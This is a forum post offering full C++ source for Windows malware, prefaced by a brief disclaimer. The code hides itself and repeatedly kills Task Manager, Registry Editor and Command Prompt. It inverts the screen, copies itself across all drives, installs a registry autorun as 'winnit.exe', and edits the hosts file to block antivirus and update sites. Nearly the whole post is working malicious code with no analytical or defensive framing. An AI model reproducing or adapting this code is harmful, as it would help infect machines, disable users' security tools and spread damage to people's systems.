[C++]Malware

I know writing malware is overrated, but I am dumping my whole C++ source folder, and this is included. I do not condone the use of this on your computer or anyone else's

Code:

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#include <windows.h>
#include <string>
#include <iostream>
#include <vector>
#include "wininet.h"
#define WIN_32_LEAN_AND_MEAN

void Restrict();
void Startup();

void InvertScreen();
void Spread();
void FindSub();

char path[MAX_PATH];

using namespace std;

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
    HWND hWin;
    srand(GetTickCount());
   
    int a = rand() % RAND_MAX + 1;
    int b = rand() % RAND_MAX + 1;
    int x = GetSystemMetrics(SM_CXSCREEN);
    int y = GetSystemMetrics(SM_CYSCREEN);
    AllocConsole();
   
    hWin=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(hWin,0);
 
    while(1)
    {
    if(a = b)
    {
      hWin = FindWindow(NULL,"Windows Task Manager");
      SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

      hWin = FindWindow(NULL,"Registry Editor");
      SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

      hWin = FindWindow(NULL,"Command Prompt");
      SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

      hWin = FindWindow(NULL,"Close Program");
      SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

      hWin = FindWindow("Shell_TrayWnd",NULL);   
      ShowWindow(hWin,false);
      Sleep(1000);
      ShowWindow(hWin,true);
      Sleep(1000);

      SetCursorPos(rand()%x, rand()%y);
   
      InvertScreen();
   
    }
    if(a*b > RAND_MAX)
    {
    Startup();
    Restrict();
    Spread();
    }
    else
    {
    MessageBox(NULL,"E.V.C Sevgm","Ebg 13",MB_OK);   
    }
  }
}

void FindSub(string sub)
{
 GetModuleFileName(GetModuleHandle(NULL), path, MAX_PATH);
 WIN32_FIND_DATA fdSub;
 string dir=sub+"*.*";
 HANDLE hSpread = FindFirstFile(dir.c_str(), &fdSub);
 if (hSpread!=INVALID_HANDLE_VALUE)
    {
    int dirs=0;
    vector<string> dirnames;
    do{
        if (fdSub.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
          {
            if (strcmp(fdSub.cFileName, ".") && strcmp(fdSub.cFileName, ".."))
              {
                dirnames.push_back(fdSub.cFileName);
                dirs++;
              }
          }
        else
          {
          string Spread=sub;
          Spread+=fdSub.cFileName;               
          Spread+=".exe";
          CopyFile(path, fdSub.cFileName, FALSE);
          }
    }

while(FindNextFile(hSpread, &fdSub)!=0);
  FindClose(hSpread);
  for (int i=0; i<dirs; i++)
      {
      string curdir=sub+dirnames[i]+"\\";
      FindSub(curdir);
      }
  }
}

void Spread()
{
 char dir[4]="C:\\";
 for (char n='C'; n<='Z'; n++)
    {
    dir[0]=n;
    FindSub(dir);
    }
}

void InvertScreen()
{
    HDC hdc = GetWindowDC(NULL);
    PatBlt(hdc, 0, 0, GetDeviceCaps(hdc, HORZRES), GetDeviceCaps(hdc, VERTRES), DSTINVERT);
    Sleep(500);
    ReleaseDC(NULL, hdc);
}
void Restrict()
{
    FILE *file;
    unsigned char PathToFile[20] = "winnit.exe";
    file = fopen("C:\\Windows\\System32\\Drivers\\Etc\\Hosts","a");
   
    fputs ("127.0.0.1 macafee.com\n",file);
    fputs ("127.0.0.1 www.macafee.com\n",file);
    fputs ("127.0.0.1 norton.com\n",file);
    fputs ("127.0.0.1 www.windowsupdate.microsoft.com\n",file);
    fputs ("127.0.0.1 www.yahoo.com\n",file);
    fputs ("127.0.0.1 yahoo.com\n",file);
    fputs ("127.0.0.1 google.com\n",file);
    fclose(file);

    file = fopen("C:\\windows\\System.ini","a");
    fprintf(file,"device=%s",PathToFile);
    fclose(file);
   

}

void Startup()
{
    HMODULE GetModH = GetModuleHandle(0);
    GetModuleFileName(GetModH, path, 256);
    HKEY hKey;
    char sd[255];

    GetSystemDirectory(sd,255);
   
    strcat(sd,"\\winnit.exe");
    CopyFile(path,sd,FALSE);
    unsigned char PathToFile[20] = "winnit.exe";

    RegOpenKeyEx( HKEY_LOCAL_MACHINE,"\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",0,KEY_SET_VALUE,&hKey );
    RegSetValueEx(hKey,"Windows User Init",0,REG_SZ,PathToFile,sizeof(PathToFile));
    RegCloseKey(hKey);
   
}

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